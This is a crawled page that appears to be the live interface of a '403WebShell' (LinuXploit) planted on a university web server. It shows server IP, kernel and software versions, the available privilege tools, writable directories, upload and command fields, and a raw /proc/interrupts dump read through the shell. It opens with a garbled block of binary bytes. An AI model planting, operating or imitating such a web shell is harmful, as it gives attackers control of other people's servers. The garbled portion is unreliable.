h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/5800/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/5800/root/proc/interrupts
           CPU0       CPU1       CPU2       CPU3       
  0:         72          0          0          0   IO-APIC-edge      timer
  1:         11         17          0          0   IO-APIC-edge      i8042
  8:          1          0          0          0   IO-APIC-edge      rtc0
  9:          0          0          0          0   IO-APIC-fasteoi   acpi
 12:         29          0          0        272   IO-APIC-edge      i8042
 14:          0          0          0          0   IO-APIC-edge      ata_piix
 15:          0          0          0          0   IO-APIC-edge      ata_piix
 16:    2362194    5295278   21980978   47682748   IO-APIC-fasteoi   vmwgfx
 24:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 25:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 26:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 27:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 28:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 29:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 30:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 31:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 32:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 33:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 34:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 35:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 36:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 37:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 38:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 39:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 40:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 41:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 42:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 43:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 44:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 45:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 46:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 47:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 48:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 49:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 50:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 51:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 52:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 53:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 54:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 55:          0          0          0          0   PCI-MSI-edge      PCIe PME, pciehp
 56:  121278818  104747372  112007789   23454793   PCI-MSI-edge      ens192-rxtx-0
 57:   23230036   27553271   21123314   94948765   PCI-MSI-edge      ens192-rxtx-1
 58:   24439381   35357810   23366869   71542895   PCI-MSI-edge      ens192-rxtx-2
 59:   60878096   50459651   32016810   35128412   PCI-MSI-edge      ens192-rxtx-3
 60:          0          0          0          0   PCI-MSI-edge      ens192-event-4
 61:    2754565    3280394    7038316   34090651   PCI-MSI-edge      vmw_pvscsi
 62:     551460     513239     344112   18703939   PCI-MSI-edge      0000:02:01.0
 63:         25          0    5707576          0   PCI-MSI-edge      vmw_vmci
 64:          0          0          0          0   PCI-MSI-edge      vmw_vmci
NMI:          0          0          0          0   Non-maskable interrupts
LOC: 1829675008 1909061695 3160387946 1779808819   Local timer interrupts
SPU:          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0   Performance monitoring interrupts
IWI:  130980148  115797731  215928583   81779843   IRQ work interrupts
RTR:          0          0          0          0   APIC ICR read retries
RES:  456318780  461314779  472785337  435680380   Rescheduling interrupts
CAL:   11343249    9799727    9579889    4098830   Function call interrupts
TLB:   27171983   26729343   26549569   27145445   TLB shootdowns
TRM:          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0   Machine check exceptions
MCP:     137128     137128     137128     137128   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit